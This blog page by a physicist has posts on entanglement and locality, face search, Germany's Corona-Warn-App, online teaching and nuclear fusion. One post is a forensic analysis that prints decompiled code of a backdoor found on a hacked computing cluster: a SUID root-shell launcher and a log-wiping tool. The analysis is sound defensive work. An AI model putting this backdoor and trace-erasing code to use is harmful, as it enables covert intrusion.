Friday, July 10, 2020

Locality Confusion or: What Entanglement Can and Cannot Do For You

I really enjoyed last week's Zoom edition of the annual Strings conference. Clifford has said many of the things about it that I support wholeheartedly, so I don't have to repeat them here. One of the things I really liked was the active participation in the chat channel that accompanied the talks.

But some of the things I read there gave me the impression that there is some confusion out there about locality and things that can happen in quantum theories that showed up in discussions related to black hole information loss (or the lack thereof). So I though, maybe it's a good idea to sort these out.

Let's start with some basic quantum information: Entanglement is strange, it allows you to do things that maybe at first you did not expect. You can already see this in the easy, finite dimensional situation. Assume our Hilbert space is a tensor product
\[H=H_h\otimes H_t\]
of stuff here and stuff there. Further, for simplicity, assume both factors have dimension d and we can pick a basis
\[(e_\alpha)_{1\le \alpha\le d}\]

for both. If we have a maximally entangled state like
\[\Omega = \frac 1{\sqrt d} \sum_\alpha e_\alpha\otimes e_\alpha\]
the first observation is that instead of acting with an operator A here, you can as well act with the transposed (with respect to our basis) operator there, as you can see when writing out what it means in component:
\[(A\otimes id)\Omega = (id\otimes A^T)\Omega = \frac 1{\sqrt d}\sum_{\alpha\beta} a_{\alpha\beta} e_\beta\otimes e_\alpha.\]
That is, with the entangled state, everything, I can do here creates a state that can also be gotten by doing stuff there. And the converse is true as well: Take any state $\psi \in H$. Then I can find an operator $A$ that acts only here that creates this state from the entangled state:
\[ \psi = (A\otimes id)\Omega.\]
How can we find $A$? First use Schmidt decomposition to write
\[\psi = \sum_j c_j f_j\otimes\tilde f_j\]
where the $c$'s are non-negative numbers and both the $f$'s and the $\tilde f$'s are an ortho-normal basis. Define $V$ to be the unitary matrix that does the change of basis from the $e$'s to the $f$'s. Then
\[ A = \sqrt{d\rho_h}V\]
where we used the density matrix $\rho_h$ that is obtained from $\psi$ as a partial trace over the Hilbert space there (i.e. the state that we see here):
\[\rho_h = tr_{H_t}|\Omega\rangle\langle \Omega| = \sum_j c_j |f_j\rangle\langle f_j|.\]
It's a simple calculation that shows that this $A$ does the job.

In other words, you can create any state of the combined here-there system from an entangled state just by acting locally here.

But what is important is that as still operators here and there commute
\[ [A\otimes id, id\otimes B] =0 \]
you cannot influence measurements there by acting here. If you only measure there you cannot tell if the global state is still $\Omega$ or if I decided to act here with a non-trivial unitary operator (which would be the time evolution for my local Hamiltonian $A$).

It is easy to see, that you don't really need a maximally entangled state $\Omega$ to start with, you just need enough entanglement such that $\rho_h$ is invertible (i..e that there are no 0 coefficients in the Schmidt decomposition of the state you start with).

And from this we can leave the finite dimensional realm and go to QFT, where you have the Reeh-Schlieder theorem which tells you essentially that the quantum vacuum of a QFT has this entanglement property: In that setting, here corrensponds to any local neighbourhood (some causal diamond for example) while there is everything space-like localised from here (for a nice introduction see Witten's lecture notes on quantum information).

But still, this does not mean that by acting locally here in your room you can suddenly make some particle appear on the moon that somebody there could measure (or not). QFT is still local, operators with space-like separation cannot influence each other. The observer on the moon cannot tell if the particle observed there is just a vacuum fluctuation or if you created it in your armchair even though RS holds and you can create state with a particle on the moon. If you don't believe it, go back to the finite dimensional explicit example above. RS is really the same thing pimped to infinite dimensions.

And there is another thing that complicates these matters (and which I learned only recently): Localization in gauge theories is more complicated that you might think at first: Take QED. Thanks to Gauß' law, you can write an expression for the total charge $Q$ as an integral over the field-strength over a sphere at infinity. This seems to suggest that $Q$ has to commute with every operator localised in a finite region as $Q$ is localised in a region space-like to your finite reason. But what if that localised operator is a field operator, for example the electron field $\psi(x)$? Does this mean $Q, \psi(x)]=0$? Of course not, since the electron is charge, it should have
\[ [Q,\psi(x)] = e \psi(x).\]
But does that mean that an observer at spatial infinity can know if I apply $\psi(x)$ right here right now? That would be acausal, I could use this to send messages faster than light.

How is this paradox resolved? You have to be careful about the gauge freedom. You can either say that a gauge fixing term you add in the process of quantisation destroys Gauß' law. Alternatively, you can see that acting with a naked $\psi(x)$ destroys the gauge you have chosen. You can repair this but the consequence is that the "dressed" operator is no longer localised at $x$ but in fact is smeared all over the place (as you have to repair the gauge everywhere). More details can be found in Wojciech Dybalski's lecture notes in the very end (who explained this solution to me).

The same holds true for arguments where you say that the total (ADM) mass/energy  in a space time can be measured at spatial infinity.

So the upshot is: Even though quantum theory is weird, you still have to be careful with locality and causality and when arguing about what you can do here and what that means for the rest of the universe. This also holds true when you try to resolve the black hole information loss paradox. Did I say islands?

PimEyes knows what you did last summer

You might have come across news about a search engine for faces: . You can upload your photo and it will tell you where in the interwebs it has seen you before. Of course, I had to try it. Here are my results:

OK, that was to be expected. This is the image I use whenever somebody asks me for a short bio with a picture or which I often use as avatar. This is also the first hit when you search for my name on Google Images. This is fine with me, this image is probably my pubic persona when it comes to the information super-highway. But still, if you meet me on the street, you can use PimEyes to figure out who I am. But that was to be expected. Then there come some variants of this picture and an older one that I used for similar purposes.

Next come pictures like these:

There seems to be an Armenian politician with some vague resemblance and the internet has a lot of pictures from him. Fine. I can hide behind him (pretty much like my wife whose name is so common in Germany that the mother of one of our daughter's classmates has the same when you only consider first and maiden name as well as a former federal minister).

But then there is this:

And yes, that's me. This is some open air concert one or two years ago. And it's not even full frontal like the sample I uploaded. And there probably 50 other people who are as much recognisable as myself in that picture. And even though this search engine seems not to know about them right now, there must be hundreds of pictures of similar Ali Mitgutsch Wimmelbuch quality that show at which mass activities I participated. I have to admit, I am a little bit scared.

Tuesday, June 16, 2020

Installiert die Corona-Warn-App auch wenn keiner sagt, dass sie sicher ist --- oder ein Lehrstück in Öffentlichkeitskommunikation

Seit heute gibt es sie, die Corona-Warn-App, und ihr könnt (und solltet, siehe unten) sie herunterladen und installieren.

Das ist die kurze Nachricht. Sie hätte auch in einen Tweet gepasst. Warum noch ein Blogpost? Das liegt daran, dass viele Bedenken gegen diese App kursieren und andererseits niemand (insbesondere nicht der CCC) sagt "Alles Quatsch, die App ist sicher!".  Diese Situation würde ich gerne etwas erklären.

Das fängt mit einem Mantra an, dass seit Jahren hergebetet wird: "Sicherheit (im Sinn von Security) ist kein Zustand, sondern ein Prozess". Jede Software, deren Komplexität wesentlich über
20 GOTO 10
hinaus geht, wird Bugs haben. Ich zitiere gerne eine alte IBM Studie, die besagt, dass es praktisch nicht gelingt, weniger als 1 Bug pro etwa 10.000 Zeilen Code zu haben, weil man, wenn man den Code weiter versucht zu debuggen und testen, dabei mehr Fehler einbaut als man eliminiert. Selbst der NASA, die sich da sehr viel Mühe gibt, fallen regelmässig Raumsonden wegen Softwarefehlern hart auf Planetenoberflächen. Und das sicher nicht, weil die leichtfertig waren.

Daher kann es nur darum gehen, möglichst wenig Fehler zu produzieren (mit entsprechenden Tests, Audits, Software-Werkzeugen, die einem helfen etc). Aber niemand, der weiss, was er tut, wird garantieren können, dass man alles gefunden hat. Man kann nur dokumentieren, dass man sich Mühe gegeben hat und dabei nach best practices gehandelt hat. Und vor allem: Wenn dann doch ein Fehler auftaucht, muss man die entsprechende Fehlerkultur haben und ihn schnell und effektiv beseitigen. Besser geht's leider nicht. Die Alternative ist nur, keine Computer bzw keine Software zu benutzen.

Und weil Leute, die wissen, wovon sie reden, genau diesen Umstand kennen, lassen sie sich nicht dazu verleiten "Die App habe ich geprüft, sie ist sicher" öffentlich zu sagen.

Was man aber sehr wohl feststellen kann, ist wenn etwas unsicher ist und man eine Lücke gefunden hat. Und das wird ja auch regelmäßig gemacht und auch der CCC hält sich nicht zurück, über Probleme öffentlich zu reden, wenn man sie denn gefunden hat (responsible disclosure beachtend), wie zB in der jüngsten Vergangenheit beim Telematix-Netzwerk im Gesundheitswesen.

Was man sehr wohl hören sollte, ist dass man genau sowas über die Corona-Warn-App zumindest bisher nicht hört. Es gibt sehr wohl die 10 Prüfsteine für eine solche App und am Anfang sah es nicht so aus, als würden sie eingehalten (zB zentrale Serverstruktur, closed source), aber an dieser Stelle beschwert sich momentan niemand. Vielmehr gibt es viel Lob, dass auf Kritik reagiert wurde: Es werden die Kontaktdaten nur lokal auf den Telefonen gespeichert (auch schon weil Apple und Google dies als sinnvoll eingesehen haben und es nicht wirklich eine App gegen die entsprechenden Betriebsystemhersteller gegeben hätte, schon alleine weil die die Betriebssysteme es aus Securitygründen Apps nicht einfach erlauben, dauerhaft und im Hintergrund Bluetooth zu verwenden) und der Source-Code zusammen mit der Entwicklungsgeschichte wurde öffentlich auf GitHub zur öffentlichen Überprüfung zugänglich gemacht. Und die Öffentlichkeit hat tatsächlich Probleme gefunden. Aber diese wurden nicht ignoriert, sondern behoben.

Und genau das ist der Prozess, von dem ich oben sprach. Den darf man auch gerne mal loben und sagen "so soll's sein, gerne wieder". Und das wird ja auch getan. Man muss dem eben nur zuhören und verstehen (was leider nicht so richtig kommuniziert wird), dass dieses Lob eigentlich die bessere Variante des "Zertifikat: die App ist sicher" ist. Hier ist leider das Schweigen nicht laut genug, das "nicht geschimpft ist genug gelobt" ist leider nicht sehr öffentlichkeitswirksam, bzw bedarf einer Erklärung, wie ich sie hier versuche. Update: Linus Neumann, CCC Sprecher, macht es doch.

"Aber es gibt doch Kritikpunkte" höre ich Euch sagen. Ja, die gibt es. Aber schauen wir sie uns an, ob die von ihnen ausgehende Gefahr den möglichen Nutzen der App übersteigen kann:

  • "Man kann Leute tracken" Ja, kann man. Aber nur, wenn man die Republik flächendeckend mit Bluetooth-Empfängern überzieht. Pavel Meyer hat dieses Argument ausführlicher gemacht.
  • "Ich muss Bluetooth anschalten, das hatte schon Lücken in der Vergangenheit." Stimmt. Gilt aber auch für Wifi/Internet. Wenn man sich darum sorgt, empfehle ich das Handy abzuschaffen. Update: Bei Android-Smartphones, die nicht gegen bekannte Probleme gepatched werden können (Android Update nach 1. Februar 2020), ist es vielleicht doch keine gute Idee, Bluetooth einzuschalten. Kann man aber drüber nachdenken, ob das ein Problem der App oder des Smartphones ist.
  • "Die App ist open source, aber was ist mit der Library von Apple/Google?". Stimmt auch. Gilt aber auch für das Betriebssystem des Handys. Wenn Apple/Google euch überwachen wollen und eure Daten raustragen wollen, können sie das nicht erst seit der App. Sondern seit ihr ein Handy benutzt. Also wieder besser: Handy in den Shredder.
  • "Wenn nicht viele die App benutzen, nützt sie nichts" (oder auch in der Version "die App ist nicht verpflichtend, so kann sie nicht funktionieren, also benutze ich sie nicht"). Ja. Henne und Ei. Dann benutz sie doch. Ist wieder ein Beispiel des Gefangenendilemmas, kann man ändern indem man selber kooperiert und hofft, dass die anderen zum gleichen Schluss kommen.
Bleibt noch eine Meta-Frage: Ich möchte eigentlich diese ganze Geschichte auch als eine Erfolgsgeschichte des CCC abbuchen, man hat (nehmen wir mal an, es hat tatsächlich einen Einfluss gehabt) echte Verbesserungen erreichen können. Vor allem wenn man sich vor Augen führt, was am Anfang der Geschichte vorgeschlagen wurde, wie GPS-tracking, eine zentrale, staatliche Kontaktdatenbank etc. Der Umstand, dass hier auf die Expertise gehört wird, ist auch ein langfristiger Erfolg, es wurde verstanden, sich über die Jahre als kompetenter und kritischer Beobachter zu etablieren. Die Öffentlichkeit wurde für entsprechende Themen hellhörig gemacht.

Andererseits lese ich auf social media viel Kritik an der App und Erklärungen, warum sie böse ist oder warum man sie sich selber auf keinen Fall installieren will. Die halbwegs rationalen Einwände habe ich eben aufgezählt (auch wenn meine Kosten-Nutzen-Abwegung klar anders ist und ich first thing this morning mir die App installiert habe), es gibt aber auch unendlich viel, was sich im Spektrum Halbwissen bis Aluhuttum bewegt. Es werden viele Bedenken geäussert, die aber eher aus dem Bauch kommen (der Staat will uns Stasi-mässig überwachen) aber aus technischer Sicht nach allem, was man weiss, nicht haltbar sind. Und irgendwie fürchte ich, dass viele von diesen Leuten auch von CCC und Co in ihrer kritischen Sicht mitsozialisiert worden sind und irgendwann falsch abgebogen sind.

Und das ist dann schon ein Wermutstropfen bzw eine Aufgabe für die Zukunft: Wie schafft man es, vor allem auch in seiner Kommunikation, noch deutlicher die begründeten von den unbegründeten Bedenken (die aber so ähnlich klingen) zu trennen?  Wie kann man hier offensiver seine Sicht kommunizieren ohne in ein "Wir versprechen Euch, ist alles sicher" verfallen zu müssen? Dieser Text ist jedenfalls ein Versuch in diese Richtung.

Und noch der nötige Disclaimer: Ich bin zwar Mitglied beim CCC (sowohl in München als auch schweigendes im Bundes-CCC). Ich spreche aber nicht für den Club. Dies ist nur meine Meinung (die aber aus meiner Sicht natürlich jedeR teilen sollte, auch alle Clubs der Welt. Haha)

Saturday, May 16, 2020

High Performance Hackers

In the last few days, there was news that several big academic high performance computing centers had been hacked. Here in Munich, LRZ, the Leibniz Rechenzentrum was affected but apparently also computers at the LMU faculty of physics (there are a few clusters in the institute's basement). You could hear that it were Linux systems that were compromised and the attackers left files in /etc/fonts.

I could not resist and also looked for these files and indeed found those on one of the servers:

helling@hostname:~$ cd /etc/fonts/
helling@hostname:/etc/fonts$ ls -la
total 52
drwxr-xr-x   4 root root  4096 Apr  5  2018 .
drwxr-xr-x 140 root root 12288 May 14 10:07 ..
drwxr-xr-x   2 root root  4096 Aug 29  2019 conf.avail
drwxr-xr-x   2 root root  4096 Aug 29  2019 conf.d
-rwsr-sr-x   1 root root  6256 Apr  5  2018 .fonts
-rw-r--r--   1 root root  2582 Apr  5  2018 fonts.conf
-rwxr-xr-x   1 root root 15136 Apr  5  2018 .low

Uhoh, a dot-file with SUID root?!? I had an evening to spare so I could finally find out if I can use some of the forensic tools, that are around. As everybody know, the most important one is "strings". But neither strings .fonts nor strings .low revealed anything interesting about those programs. So we need some heavier lifting. I chose ghidra (thanks NSA for that) as my decompiler.

Let's look at .fonts (the suid one) first. It consists of one central function that I called runbash. Here is what I got after some renaming of symbols:

void runbash(void)

  char arguments [4];
  char command [9];
  int i;
  command[0] = 'N';
  command[1] = '\0';
  command[2] = '\n';
  command[3] = '\n';
  command[4] = 'J';
  command[5] = '\x04';
  command[6] = '\x06';
  command[7] = '\x1b';
  command[8] = '\x01';
  i = 0;
  while (i < 9) {
    command[i] = command[i] ^ (char)i + 0x61U;
    i = i + 1;
  arguments[0] = '\x03';
  arguments[1] = '\x03';
  arguments[2] = '\x10';
  arguments[3] = '\f';
  i = 0;
  while (i < 4) {
    arguments[i] = arguments[i] ^ (char)i + 0x61U;
    i = i + 1;

There are two strings, command and arguments and first there is some xoring with a loop variable going on. I ran that as a separate C program and what it produces is that command ends up as "/bin/bash" and arguments as "bash". So, all this program does is it starts a root shell. And indeed it does (i tried it on the server, of course it has been removed since then).

The second program, .low, is a bit longer. It has a main function that mainly deals with command line options depending on which it calls one of three functions that I termed machmitfile(), machshitmitfile() and writezerosinfile() which all take a file name as argument and modify those files by removing lines or overwriting stuff with zeros or doing some other rewriting that I did not analyse in detail:

/* WARNING: Could not reconcile some variable overlaps */

ulong main(int argc, char ** argv)

  char * __s1;
  char * pcVar1;
  bool opbh;
  bool optw;
  bool optb;
  bool optl;
  bool optm;
  bool opts;
  bool opta;
  int numberarg;
  char uitistgleich[40];
  passwd * password;
  char * local_68;
  char opt;
  uint local_18;
  uint retval;
  char * filename;

  scramble( &UTMP, 0xd);
  scramble( &WTMP, 0xd);
  scramble( &BTMP, 0xd);
  scramble( &LASTLOG, 0x10);
  scramble( &MESSAGES, 0x11);
  scramble( &SECURE, 0xf);
  scramble( &WARN, 0xd);
  scramble( &DEBUG, 0xe);
  scramble( &AUDIT0, 0x18);
  scramble( &AUDIT1, 0x1a);
  scramble( &AUDIT2, 0x1a);
  scramble( &AUTHLOG, 0x11);
  scramble( &HISTORY, 0x1b);
  scramble( &AUTHPRIV, 0x11);
  scramble( &DEAMONLOG, 0x13);
  scramble( &SYSLOG, 0xf);
  scramble( &ACHTdPROZENTs, 7);
  scramble( &OPTOPTS, 0xb);
  scramble( &UIDISPROZD, 7);
  scramble( &ERRORARGSEXIT, 0x11);
  scramble( &ROOT, 4);
  filename = (char * ) 0x0;
  local_18 = 0;
  opbh = false;
  optw = false;
  optb = false;
  optl = false;
  optm = false;
  opts = false;
  opta = false;
  now = time((time_t * ) 0x0);
  while (_opt = getopt(argc, argv, & OPTOPTS), _opt != -1) {
    switch (_opt) {
    case 0x61:
      opta = true;
    case 0x62:
      optb = true;
      /* WARNING: Subroutine does not return */
    case 0x66:
      filename = optarg;
    case 0x68:
      opbh = true;
    case 0x6c:
      optl = true;
    case 0x6d:
      optm = true;
    case 0x73:
      opts = true;
    case 0x74:
      local_18 = 1;
      numberarg = atoi(optarg);
      if (numberarg != 0) {
        numberarg = atoi(optarg);
        now = (time_t) numberarg;
        if ((0 < now) && (now < 0x834)) {
          now = settime();
    case 0x77:
      optw = true;
  if (((((!opbh) && (!optw)) && (!optb)) && ((!optl && (!optm)))) && ((!opts && (!opta)))) {
  if (opbh) {
    if (argc <= optind + 1) {
      /* WARNING: Subroutine does not return */
    if (filename == (char * ) 0x0) {
      filename = & UTMP;
    retval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong) local_18);
  } else {
    if (optw) {
      if (argc <= optind + 1) {
        /* WARNING: Subroutine does not return */
      if (filename == (char * ) 0x0) {
        filename = & WTMP;
      retval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong) local_18);
    } else {
      if (optb) {
        if (argc <= optind + 1) {
          /* WARNING: Subroutine does not return */
        if (filename == (char * ) 0x0) {
          filename = & BTMP;
        retval = machmitfile(filename, argv[optind], argv[(long) optind + 1], (ulong) local_18);
      } else {
        if (optl) {
          if (argc <= optind) {
            /* WARNING: Subroutine does not return */
          if (filename == (char * ) 0x0) {
            filename = & LASTLOG;
          retval = writezerosinfile(filename, argv[optind], argv[optind]);
        } else {
          if (optm) {
            if (argc <= optind + 3) {
              /* WARNING: Subroutine does not return */
            if (filename == (char * ) 0x0) {
              filename = & LASTLOG;
            retval = FUN_00401bb0(filename, argv[optind], argv[(long) optind + 1],
              argv[(long) optind + 2], argv[(long) optind + 3]);
          } else {
            if (opts) {
              if (argc <= optind) {
                /* WARNING: Subroutine does not return */
              local_68 = argv[optind];
              if (filename == (char * ) 0x0) {
              } else {
                retval = machshitmitfile(filename, local_68, (ulong) local_18, local_68);
            } else {
              if (opta) {
                if (argc <= optind + 1) {
                  /* WARNING: Subroutine does not return */
                __s1 = argv[optind];
                pcVar1 = argv[(long) optind + 1];
                numberarg = strcmp(__s1, & ROOT);
                if (numberarg == 0) {
                  local_18 = 1;
                machmitfile( & WTMP, __s1, pcVar1, (ulong) local_18);
                machmitfile( & UTMP, __s1, pcVar1, (ulong) local_18);
                machmitfile( & BTMP, __s1, pcVar1, (ulong) local_18);
                writezerosinfile( & LASTLOG, __s1, __s1);
                machshitmitfile( & MESSAGES, __s1, (ulong) local_18, __s1);
                machshitmitfile( & MESSAGES, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & SECURE, __s1, (ulong) local_18, __s1);
                machshitmitfile( & SECURE, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUTHPRIV, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUTHPRIV, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & DEAMONLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( & DEAMONLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & SYSLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( & SYSLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & WARN, __s1, (ulong) local_18, __s1);
                machshitmitfile( & WARN, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & DEBUG, __s1, (ulong) local_18, __s1);
                machshitmitfile( & DEBUG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUDIT0, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUDIT0, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUDIT1, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUDIT1, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUDIT2, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUDIT2, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & AUTHLOG, __s1, (ulong) local_18, __s1);
                machshitmitfile( & AUTHLOG, pcVar1, (ulong) local_18, pcVar1);
                machshitmitfile( & HISTORY, __s1, (ulong) local_18, __s1);
                retval = machshitmitfile( & HISTORY, pcVar1, (ulong) local_18, pcVar1);
                password = getpwnam(__s1);
                if (password != (passwd * ) 0x0) {
                  sprintf(uitistgleich, & UIDISPROZD, (ulong) password - > pw_uid);
                  machshitmitfile( & SECURE, uitistgleich, (ulong) local_18, uitistgleich);
                  machshitmitfile( & AUDIT0, uitistgleich, (ulong) local_18, uitistgleich);
                  machshitmitfile( & AUDIT1, uitistgleich, (ulong) local_18, uitistgleich);
                  retval = machshitmitfile( & AUDIT2, uitistgleich, (ulong) local_18, uitistgleich);
  return (ulong) retval;

But what are the file names? They sit in some memory locations pre-initialized at startup but remember, strings did not show anything interesting.
But before anything else, a function scramble() is called on them:

void scramble(char *p,int count)

  int m;
  int i;
  if (0 < count) {
    m = count * 0x8249;
    i = 0;
    while (m = (m + 0x39ef) % 0x52c7, i < count) {
      p[i] = (byte)m ^ p[i];
      m = m * 0x8249;
      i = i + 1;

As you can see, once more there is some xor-ing going on to hide the ascii filename. So, once more, I put the initial data as well as this function a in a separate C program and it produced:

603130: /var/run/utmp
60313e: /var/log/wtmp
60314c: /var/log/btmp
603160: /var/log/lastlog
603180: /var/log/messages
6031a0: /var/log/secure
6031b0: /var/log/warn
6031be: /var/log/debug
6031d0: /var/log/audit/audit.log
6031f0: /var/log/audit/audit.log.1
603210: /var/log/audit/audit.log.2
603230: /var/log/auth.log
603250: /var/log/ConsoleKit/history
603270: /var/log/authpriv
603290: /var/log/daemon.log
6032b0: /var/log/syslog

Ah, these are the log-files where you want to remove your traces.

This is how far my analysis goes. In case, you want to look at this yourself, I put everything (both binaries, the Ghidra file, my separate C program) in a tar-ball for you to download.

What all this does not show: How did the attackers get in in the first place (possibly by stealing some user's private keys on another compromised machine), how they did the privilege escalation to be able to produce a suid-root file and also, for how long they have been around. As you can see above, the files have a time stamp from over two years ago. But once you are root you can of course set this to whatever you want. But it's not clear why you wanted to back date your backdoor. I should stress that I am only a normal user on that server, so for example I don't have access to the backups to check if these files have really been around for that long.

Furthermore, the things I found are not very sophisticated. Yes, they prevented my to find out what's going on with strings by obfuscating their strings. But the rest was all so straight forward that even amateur like myself with a bit of decompiling could figure our what is going on. Plus leaving your backdoor as a suid program laying around in the file system in plain sight is not very secretive (but possibly enough to be undetected for more than two years). So unless these two files are not explicitly there to be found, the attacker will not be the most subtle one.

Which leaves the question about the attacker's motivation. Was it only for sports (bringing some thousand CPUs under control)? Was it for bitcoin mining (the most direct way to turn this advantage into material gain)? Or did they try to steal data/files etc?

If you have an account on one of the affected machines (in our case that would be anybody with a physics account at LMU as at least one affected machine had your home directory mounted) you should revoke all your secret keys that were stored there (GPG or ssh, in the latter case that means in particular delete them from .ssh/authorizedkeys and .ssh/authorizedkeys2 everywhere, not just on the affected machines. And you should consider all data on those machines compromised (whatever that might have as consequences for you). If attackers had access to your ssh private keys, they could be as well on all machines that those allow to log into without entering further passwords/passphrases/OTPs.

Friday, April 10, 2020

Please comment: Should online teaching be public?

I write this post because I am genuinely interested in people's opinions. So please comment even if usually you wouldn't and it's ok to to simply say you agree with somebody's opinion (or not). And of course you can do this anonymously or under a pseudonym.

The question is: What is the right balance between participants privacy and making things public in the name of public knowledge? Let me explain.

In these times where everybody has to stay at home and the summer semester is only one week away, everybody is busy planning how to run university teaching over the internet. And personally, I am quite optimistic. It's not the real thing but essentially all the tools are there and I see this as a chance to try out new things and experiment while everybody will tolerate if things are not perfect at least as long as you are honestly trying. Maybe this way, we can bring university to the 21st century. And yes, some things would work better if there had been more preparation and planning but without the current urgency, inertia might have kept many things from happening at all.

This summer, together with Sabine Jansen from the math department, I will once more teach the TMP core module "Mathematical Statistical Physics" as the physicist on the stage. At least in my interpretation, this course is mainly about how to honestly deal with systems with infinitely many degrees of freedom and understand the choices you have to make when handling them which then lead to phenomena like phase transitions, coexistence of phases and spontaneous symmetry breaking. I will mainly discuss the quantum part of the story using tools from the algebraic approach where the central objects are KMS states. I recorded a trailer video:

Regarding tools, I will pretty much do what Clifford suggested that is use Zoom for the lectures where I share the screen of my iPad while writing on it like a notepad and do pretty much what I would have done on a black board while talking and people can see my face. I plan to do this live so there can be questions and feedback and discussions both for the benefit of the participants asking questions and me trying not to talks completely over people's heads or boring everybody to death. In addition there will be a Moodle for handling exercise sheets, a forum and a chat as well as tutorials (also via zoom). And, and this is the point if this post: I want to record the zoom sessions of the lectures and make those available for later consumption.

And here is the point: I strongly believe in the principle that knowledge and information is that commodity that does not get smaller by sharing it. If everybody contributes a little bit this allows us as a community to build huge things. This idea is for example behind Open Source software and Wikipedia and has proven very successful in building many things from which everybody can benefit a lot.

In this spirit it is my impulse that of course the recored lectures should be available to everybody on the internet. And yes, I would love to see other peoples lectures as well, most of which will of course be much better then my own. I think this is particularly true for an advanced course like ours that is unlike the millionth electrodynamics course that every physics department in the world teaches every year. I hope, our content might be interesting to many people around the world and many of those would not have access to local lectures about it.

And yes, I am not super prepared for this course. I will make mistakes, say wrong things and make a fool of myself. But even then, I think it's worth it. Of course, I am in a privileged situation, I cannot see myself job hunting in the foreseeable future, I am very much settled. So my risk is mainly the everybody can see how stupid I am. But that's it. And to be honest, I rather expect if there is any effect at all it will be to my advantage because there is hope that one or two people might think we are teaching interesting stuff.

But there is a concern that this might not be the same for everybody. Remember, the idea of live teaching and not pre-recording everything is to allow for interactions with the audience. And the way zoom recordings work is that those reactions are recorded as well. Participants can chose other names and turn off their camera. But the question (clever or stupid) that anybody asks will be recorded never the less. And people might be concerned about this. And the fact that the whole world can later hear them asking what somebody might consider a stupid question might prevent them from asking the question at all. This all while my main worry should be the benefit of my own students rather than myself becoming an internet celebrity.

I would like to take into account that the benefit is not only about having my lectures available (that benefit is likely very very small). But what I am talking about is establishing a culture that over the long run makes many people's lectures available. And those are much more likely useful for many. While contemplating this in the example of my lectures I imagine that many lecturers might have similar thoughts at the same time (or I would like them to have those at least). This is along the idea that the idea I talked about in an old post that there is a possibility to take advantage of an asymmetric outcome in a prisoner's dilemma might be an illusion.

And what adds to it is that those people that would be hurt most by this are likely those how deserve the most support, timid ones, women, minorities.

So, what should I do? From what I have written you will get that I am very much in favour of sharing knowledge as much as possible. But I am willing to take concerns into account. But I want to take actual concerns into account and not those that one can simply imagine someone might have. So please tell me, what do you think? And yes, if you are the timid person, you might be less likely to leave a comment in a public blog. But please consider doing it never the less. Do it anonymously. It doesn't hurt. Of course, you can also email me. Also that can be done anonymously.

Monday, November 04, 2019

On Nuclear Fusion (in German)

Florian Freistetter has posed the challenge in his blog to write a generally accessible text on why nuclear fusion works. Here is my attempt (according to the rules in German):

Gleich und gleich gesellt sich gern

Wassertropfen auf einer Oberfläche, Fettaugen in der Suppe, Bläschen in der Limo (oder im Körper eines Tauchers, siehe mein anderes Blog) und eben Atomkerne, diese Phänomene haben gemeinsam, dass die Oberflächenspannung eine entscheidende Rolle spielt.

Allen ist es gemeinsam, dass es eine Substanz (Wasser, Fett, Gas, Nukleonen - also Protonen und Neutronen, die Bestandteile des Atomkerns) gibt, die es am liebsten hat, wenn sie mit sich selbst umgeben ist und nicht mit der Umgebung (Luft, Suppe - hauptsächlich Wasser, Limo oder Vakuum). In all diesen Beispielen kann sich die Substanz besser arrangieren, wenn sie von ihresgleichen umgeben ist. Eine Grenzfläche hingegen kostet Energie, die Grenzflächenenergie.

In guter Näherung ist dieser Energiekosten proportional zur Fläche dieser Grenzfläche. Wenn es schon eine Grenzfläche geben muss, ist es am günstigsten, diese möglichst klein zu halten. Da die Substanzmenge und damit ihr Volumen jeweils unveränderlich ist, stellt sich eine runde Form (Kreisscheibe oder Kugel, je nach dem ob wir es mit etwas zweidimensionalem wie Fettaugen oder dreidimensionalen wie Bläschen zu tun haben) ein, die für eben dieses Volumen die kleinste Oberfläche hat (im zweidimensionalen Fall ist entsprechend die "Oberfläche" die Randlänge, während das "Volumen" der Flächeninhalt ist).

Was passiert aber, wenn zwei Tropfen, Fettaugen, Bläschen oder Atomkerne zusammenkommen? Wenn sie sich vereinigen, ist das vereinigte Volumen so groß wie die beiden Volumina vorher zusammen. Die Oberfläche ist jedoch kleiner als die Summe der Oberflächen vorher. Daher ist weniger Grenzflächenenergie nötig, der Rest an Energie wird frei. Bei der Suppe ist das so wenig, dass man es normalerweise eben nur daran merkt, dass sich die Fettaugen zu immer größeren vereinigen, beim Atomkern ist es aber so viel (einige Megaelektronenvolt pro Kern), dass man damit ein Fusionskraftwerk oder einen Stern betreiben kann.

Die freiwerdende Energie kommt also daher, dass weniger Nukleonen eine offene Flanke zum Vakuum haben, für sie ist es günstiger direkt nebeneinander zu liegen.

Soweit das qualitative Bild. Wir können es aber auch leicht quantitativ machen: Das Tröpfchen, das aus der Vereinigung zweier kleinerer entstanden ist, muss das doppelte Volumen der Ausgangströpfchen haben. Da aber das Volumen eines dreidimensionalen Körpers mit der dritten Potenz seines Durchmessers wächst, hat das große Tröpfchen nicht den doppelten Durchmesser der kleinen Tröpfchen, sondern ist nur um den Faktor $2^{1/3}$, also um die dritte Wurzel aus 2, etwa 1,26 größer. 

Die Oberfläche wächst hingegen quadratisch mit dem Durchmesser, ist also um den Faktor $2^{2/3}$, also etwa 1,59 größer. Am Anfang hatten wir jedoch zwei Tröpfchen, also auch zweimal die Oberfläche, am Ende nur noch 1,59 mal die Oberfläche eines kleinen Tröpfchens. Wir haben also die Grenzflächenenergie im Umfang von 0,41 klein-Tröpfchenoberflächen gewonnen.

Daher werden sich mit der Zeit immer mehr Tröpfchen zu wenigen großen Tropfen vereinigen, da letztere weniger Oberfläche zur Luft in der Summe haben.

